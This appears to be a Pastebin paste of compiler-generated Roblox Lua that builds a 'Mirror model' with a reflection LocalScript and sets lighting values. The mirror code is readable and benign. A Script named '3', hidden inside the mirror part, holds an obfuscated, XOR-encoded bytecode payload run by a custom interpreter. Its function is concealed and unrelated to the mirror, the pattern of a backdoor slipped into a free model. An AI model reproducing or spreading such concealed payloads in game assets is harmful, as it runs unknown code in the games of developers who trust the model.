ManOhMan

Untitled

Jul 27th, 2019
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.22 KB | None | 0 0
  1. --Created with PenguinAnonymous's compiler
  2. --PenguinAnonymous is not responsible for damages caused to your game
  3. --This plugin does not remove things
  4. --PenguinAnonymous cannot be held resonsible for manual deletion for the purpose of testing
  5. --Keep in mind, any items that cause errors in compilation will be skipped and documented within the last line of the disclaimer comments
  6. --Thank you for using my plugin and enjoy :)
  7. --It is free to use
  8. --If you use this plugin to create your own, please give me credit
  9. --Z_V edited my plugin to look like his own and published it without giving me credit, and that makes me very angry
  10. --Errors: ModuleScript
  11. local runDummyScript = function(f,scri)
  12. local oldenv = getfenv(f)
  13. local newenv = setmetatable({}, {
  14. __index = function(_, k)
  15. if k:lower() == 'script' then
  16. return scri
  17. else
  18. return oldenv[k]
  19. end
  20. end
  21. })
  22. setfenv(f, newenv)
  23. ypcall(function() f() end)
  24. end
  25. cors = {}
  26. mas = Instance.new("Model",game:GetService("Lighting"))
  27. mas.Name = "CompiledModel"
  28. o1 = Instance.new("Model")
  29. o2 = Instance.new("Part")
  30. o3 = Instance.new("Script")
  31. o4 = Instance.new("Model")
  32. o5 = Instance.new("Model")
  33. o6 = Instance.new("LocalScript")
  34. o1.Name = "Mirror model"
  35. o1.Parent = mas
  36. o2.Parent = o1
  37. o2.Material = Enum.Material.Glass
  38. o2.BrickColor = BrickColor.new("Institutional white")
  39. o2.Transparency = 0.39999997615814
  40. o2.Position = Vector3.new(48.4073296, 44.920105, 16.6651306)
  41. o2.Rotation = Vector3.new(0, 0, 179.979996)
  42. o2.Anchored = true
  43. o2.FormFactor = Enum.FormFactor.Custom
  44. o2.Size = Vector3.new(0.600000024, 89.8400116, 511.869446)
  45. o2.CFrame = CFrame.new(48.4073296, 44.920105, 16.6651306, -1, -0.00028800001, 0, 0.00028800001, -1, 0, 0, 0, 1)
  46. o2.Color = Color3.new(0.972549, 0.972549, 0.972549)
  47. o2.Position = Vector3.new(48.4073296, 44.920105, 16.6651306)
  48. o3.Name = "3"
  49. o3.Parent = o2
  50. table.insert(cors,coroutine.create(function()
  51. wait()
  52. runDummyScript(function()
  53. local i=string.byte;local d=string.char;local c=string.sub;local u=table.concat;local L=getfenv or function()return _ENV end;local l=setmetatable;local s=select;local h=unpack;local r=tonumber;local function m(i)local e,n,a="","",{}local o=256;local t={}for l=0,o-1 do t[l]=d(l)end;local l=1;local function f()local e=r(c(i,l,l),36)l=l+1;local n=r(c(i,l,l+e-1),36)l=l+e;return n end;e=d(f())a[1]=e;while l<#i do local l=f()if t[l]then n=t[l]else n=e..c(e,1,1)end;t[o]=e..c(n,1,1)a[#a+1],e,o=n,n,o+1 end;return table.concat(a)end;local t=m('24327427424927526N24B22R23021F24B27427927B21I27E24326J23V27H23V27426M23N24Z24321I23N27F23N27H27V24326N27X23027U27426J24Z27H27S24327Q27S28428A24B27V27I27P27J28H24324727524124427526926U26A26E26Y28R24124127525D26U24027422B25221Y21423F25U29224323725U23A29725U243');local o=bit and bit.bxor or function(l,n)local e,o=1,0 while l>0 and n>0 do local a,c=l%2,n%2 if a~=c then o=o+e end l,n,e=(l-a)/2,(n-c)/2,e*2 end if l<n then l=n end while l>0 do local n=l%2 if n>0 then o=o+e end l,e=(l-n)/2,e*2 end return o end local function e(e,l,n)if n then local l=(e/2^(l-1))%2^((n-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function n()local c,n,e,a=i(t,l,l+3);c=o(c,147)n=o(n,147)e=o(e,147)a=o(a,147)l=l+4;return(a*16777216)+(e*65536)+(n*256)+c;end;local function a()local e=o(i(t,l,l),147);l=l+1;return e;end;local function m()local l=n();local o=n();local c=1;local n=(e(o,1,20)*(2^32))+l;local l=e(o,21,31);local e=((-1)^e(o,32));if(l==0)then if(n==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(n==0)and(e*(1/0))or(e*(0/0));end;return e*(2^(l-1023))*(c+(n/(2^52)));end;local r=n;local function f(e)local n;if(not e)then e=r();if(e==0)then return'';end;end;n=c(t,l,l+e-1);l=l+e;local e={}for l=1,#n do e[l]=d(o(i(c(n,l,l)),147))end return u(e);end;local l=n;local function u()local i={0,0,0,0,0,0,0,0,0,0};local l={};local c={};local t={i,nil,l,nil,nil,nil,c};t[5]=a();for e=1,n()do l[e-1]=u();end;for a=1,n()do local c=o(n(),125);local n=o(n(),165);local o=e(c,1,2);local l=e(n,1,11);local l={l,e(c,3,11),nil,nil,n};if(o==0)then l[3]=e(c,12,20);l[5]=e(c,21,29);elseif(o==1)then l[3]=e(n,12,33);elseif(o==2)then l[3]=e(n,12,32)-1048575;elseif(o==3)then l[3]=e(n,12,32)-1048575;l[5]=e(c,21,29);end;i[a]=l;end;local l=n()local n={0,0,0,0};for o=1,l do local e=a();local l;if(e==1)then l=(a()~=0);elseif(e==3)then l=m();elseif(e==2)then l=f();end;n[o]=l;end;t[2]=n t[6]=a();return t;end;local function m(l,e,f)local d=l[1];local i=l[2];local e=l[3];local e=l[6];return function(...)local n=1;local c=-1;local a={};local r={...};local l=s('#',...)-1;local o={};local o={nil,nil};for l=0,l do if(l>=e)then a[l-e]=r[l+1];else o[l]=r[l+1];end;end;local l;local t;while true do l=d[n];t=l[1];if t<=5 then if t<=2 then if t<=0 then do return end;elseif t>1 then local n=l[2];local a={};local e=0;local t=n+l[3]-1;for l=n+1,t do e=e+1;a[e]=o[l];end;local a={o[n](h(a,1,t-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=a[e];end;c=l;else local e=l[2];if e>c then c=e end;o[e]=i[l[3]];end;elseif t<=3 then local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];elseif t>4 then f[i[l[3]]]=o[l[2]];n=n+1;l=d[n];local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=i[l[3]];n=n+1;l=d[n];e=l[2];r={};local a=0;Limit=e+l[3]-1;for l=e+1,Limit do a=a+1;r[a]=o[l];end;local t={o[e](h(r,1,Limit-e))};Limit=e+l[5]-2;a=0;for l=e,Limit do a=a+1;o[l]=t[a];end;c=Limit;n=n+1;l=d[n];f[i[l[3]]]=o[l[2]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=i[l[3]];n=n+1;l=d[n];e=l[2];r={};a=0;Limit=e+l[3]-1;for l=e+1,Limit do a=a+1;r[a]=o[l];end;t={o[e](h(r,1,Limit-e))};Limit=e+l[5]-2;a=0;for l=e,Limit do a=a+1;o[l]=t[a];end;c=Limit;n=n+1;l=d[n];e=l[2];o[e]();c=e-1;n=n+1;l=d[n];do return end;else do return end;end;elseif t<=8 then if t<=6 then local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];elseif t>7 then local l=l[2];o[l]();c=l-1;else local l=l[2];o[l]();c=l-1;end;elseif t<=10 then if t>9 then local n=l[2];local a={};local e=0;local t=n+l[3]-1;for l=n+1,t do e=e+1;a[e]=o[l];end;local a={o[n](h(a,1,t-n))};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=a[e];end;c=l;else local e=l[2];if e>c then c=e end;o[e]=i[l[3]];end;elseif t==11 then f[i[l[3]]]=o[l[2]];else f[i[l[3]]]=o[l[2]];end;n=n+1;end;end;end;return m(u(),{},L())();
  54. end,o3)
  55. end))
  56. o4.Parent = mas
  57. o5.Name = "UNGROUP IN STARTERGUI"
  58. o5.Parent = o4
  59. o6.Name = "mirrors"
  60. o6.Parent = o5
  61. table.insert(cors,coroutine.create(function()
  62. wait()
  63. runDummyScript(function()
  64.  
  65. --// For more documentation read the reflections module.
  66.  
  67. local player = game:GetService("Players").LocalPlayer
  68. local character; repeat wait() character = player.Character until character
  69. local camera = game:GetService("Workspace").CurrentCamera
  70.  
  71. local rs = game:GetService("RunService").RenderStepped
  72. local reflections = require(script:WaitForChild("reflections"))
  73.  
  74. local mirrors = game:GetService("Workspace"):WaitForChild("Mirror model")
  75.  
  76. rs:connect(function()
  77. reflections:clearCharacters()
  78. local characters = {}
  79. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  80. table.insert(characters, player.Character)
  81. end
  82. for _, mirror in pairs(mirrors:GetChildren()) do
  83. if mirror:IsA("BasePart") then
  84. reflections:drawWorld(mirror, game:GetService("Workspace"), {mirrors, unpack(characters)})
  85. reflections:drawCharacters(characters, mirror)
  86. end
  87. end
  88. end)
  89. end,o6)
  90. end))
  91. mas.Parent = workspace
  92. mas:MakeJoints()
  93. local mas1 = mas:GetChildren()
  94. for i=1,#mas1 do
  95. mas1[i].Parent = workspace
  96. ypcall(function() mas1[i]:MakeJoints() end)
  97. end
  98. mas:Destroy()
  99. for i=1,#cors do
  100. coroutine.resume(cors[i])
  101. end
  102.  
  103. game:GetService("Lighting").Ambient = Color3.new(0, 0, 0)
  104. game:GetService("Lighting").Brightness = 2
  105. game:GetService("Lighting").ColorShift_Bottom = Color3.new(0, 0, 0)
  106. game:GetService("Lighting").ColorShift_Top = Color3.new(0, 0, 0)
  107. game:GetService("Lighting").GlobalShadows = true
  108. game:GetService("Lighting").OutdoorAmbient = Color3.new(0.501961, 0.501961, 0.501961)
  109. game:GetService("Lighting").Outlines = false
  110. game:GetService("Lighting").GeographicLatitude = 41.733299255371
  111. game:GetService("Lighting").TimeOfDay = "14:00:00"
  112. game:GetService("Lighting").FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  113. game:GetService("Lighting").FogEnd = 100000
  114. game:GetService("Lighting").FogStart = 0
Advertisement
Add Comment
Please, Sign In to add comment